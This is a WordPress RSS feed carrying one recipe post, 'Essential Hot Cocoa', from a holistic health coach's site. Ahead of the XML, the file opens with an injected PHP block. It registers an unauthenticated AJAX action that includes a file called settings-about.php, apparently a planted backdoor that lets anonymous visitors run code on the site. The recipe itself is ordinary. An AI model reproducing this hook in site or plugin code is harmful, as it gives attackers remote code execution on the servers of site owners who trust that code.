if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hot cocoa - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator</title>
	<atom:link href="https://rommykirby.com/tag/hot-cocoa/feed/" rel="self" type="application/rss+xml" />
	<link>https://rommykirby.com</link>
	<description>Increase Energy &#124;Simple Solutions &#124; Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator</description>
	<lastBuildDate>Wed, 02 Dec 2015 17:48:19 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Essential Hot Cocoa</title>
		<link>https://rommykirby.com/essential-hot-cocoa/</link>
					<comments>https://rommykirby.com/essential-hot-cocoa/#respond</comments>
		
		<dc:creator><![CDATA[Rommy Kirby]]></dc:creator>
		<pubDate>Thu, 02 Jan 2014 18:27:20 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Easy Recipes]]></category>
		<category><![CDATA[Resources]]></category>
		<category><![CDATA[cinnamon]]></category>
		<category><![CDATA[coconut sugar]]></category>
		<category><![CDATA[cold]]></category>
		<category><![CDATA[essential oil]]></category>
		<category><![CDATA[essential oils]]></category>
		<category><![CDATA[hot cocoa]]></category>
		<category><![CDATA[peppermint]]></category>
		<category><![CDATA[recipe]]></category>
		<category><![CDATA[warm]]></category>
		<category><![CDATA[Wild Orange]]></category>
		<category><![CDATA[winter]]></category>
		<category><![CDATA[yummy]]></category>
		<guid isPermaLink="false">http://RommyKirby.com/?p=573</guid>

					<description><![CDATA[<p>There is just something yummy and cheerful about a cup of hot cocoa on a cold winter day! Here&#8217;s how I like to enjoy mine&#8230; &#160; Ingredients 1 cup water 5 tsp. cocoa powder 2 teaspoons Coconut Sugar (adjust to desired sweetness) 1 tsp. vanilla extract 3 cups coconut milk &#160; &#160; &#160; Essential Oils [&#8230;]</p>
<p>The post <a href="https://rommykirby.com/essential-hot-cocoa/">Essential Hot Cocoa</a> first appeared on <a href="https://rommykirby.com">Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><span style="font-family: helvetica; font-size: medium;">There is just something yummy and cheerful about a cup of hot cocoa on a cold winter day! </span></p>
<p><span style="font-family: helvetica; font-size: medium;">Here&#8217;s how I like to enjoy mine&#8230;<span id="more-573"></span></span></p>
<div id="stcpDiv">
<div id="attachment_574" style="width: 289px" class="wp-caption alignleft"><a href="http://RommyKirby.com/wp-content/uploads/2014/01/Screen-Shot-2014-01-02-at-12.03.09-PM.png"><img fetchpriority="high" decoding="async" aria-describedby="caption-attachment-574" class="size-medium wp-image-574" src="http://RommyKirby.com/wp-content/uploads/2014/01/Screen-Shot-2014-01-02-at-12.03.09-PM-279x300.png" alt="courtesy of doTERRA blog" width="279" height="300" srcset="https://rommykirby.com/wp-content/uploads/2014/01/Screen-Shot-2014-01-02-at-12.03.09-PM-279x300.png 279w, https://rommykirby.com/wp-content/uploads/2014/01/Screen-Shot-2014-01-02-at-12.03.09-PM.png 358w" sizes="(max-width: 279px) 100vw, 279px" /></a><p id="caption-attachment-574" class="wp-caption-text"><span style="font-family: helvetica; font-size: medium;">courtesy of doTERRA blog</span></p></div>
<p>&nbsp;</p>
<p><span style="color: #669933; font-size: large;"><strong><span style="font-family: helvetica;">Ingredients</span></strong></span></p>
<ul>
<li><span style="font-family: helvetica; font-size: medium;">1 cup water</span></li>
</ul>
</div>
<div>
<ul>
<li><span style="font-family: helvetica; font-size: medium;">5 tsp. cocoa powder</span></li>
</ul>
</div>
<div>
<ul>
<li><span style="font-family: helvetica; font-size: medium;">2 teaspoons Coconut Sugar (adjust to desired sweetness)</span></li>
</ul>
</div>
<div>
<ul>
<li><span style="font-family: helvetica; font-size: medium;">1 tsp. vanilla extract<br />
</span></li>
</ul>
</div>
<div>
<ul>
<li><span style="font-family: helvetica; font-size: medium;">3 cups coconut milk</span></li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong><span style="font-family: helvetica; font-size: medium; color: #669933;"><span style="font-size: large;">Essential Oils to Flavor</span> </span></strong><span style="font-family: helvetica; font-size: medium; color: #669933;"><span style="color: #cc33cc;"><em>(I add a drop of the oil to my coconut sugar then add the sugar to my other ingredients)</em></span></span></p>
<p><span style="font-family: helvetica; font-size: medium;">Cinnamon Bark</span></p>
<p><span style="font-family: helvetica; font-size: medium;">Peppermint</span></p>
<p><span style="font-family: helvetica; font-size: medium;">Wild Orange</span></p>
<p><strong><span style="font-family: helvetica; font-size: large; color: #669933;">Put it together&#8230;</span></strong></p>
<p><span style="font-family: helvetica; font-size: medium;">1 &#8211; Measure dry ingredients into a bowl.</span></p>
<p><span style="font-family: helvetica; font-size: medium;">2 &#8211; Heat water in saucepan on stove</span></p>
<p><span style="font-family: helvetica; font-size: medium;">3 &#8211; Add dry ingredients and stir until smooth</span></p>
<p><span style="font-family: helvetica; font-size: medium;">4 &#8211; Add Coconut Milk and heat until simmering</span></p>
<p><span style="font-family: helvetica; font-size: medium;">5 &#8211; Pour into warm mugs </span></p>
<p><span style="font-family: helvetica; font-size: medium;">6 &#8211; Enjoy!!!</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>
<div style='display:none;' class='shareaholic-canvas' data-app='share_buttons' data-title='Essential Hot Cocoa' data-link='https://rommykirby.com/essential-hot-cocoa/' data-app-id-name='category_below_content'></div><p>The post <a href="https://rommykirby.com/essential-hot-cocoa/">Essential Hot Cocoa</a> first appeared on <a href="https://rommykirby.com">Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://rommykirby.com/essential-hot-cocoa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>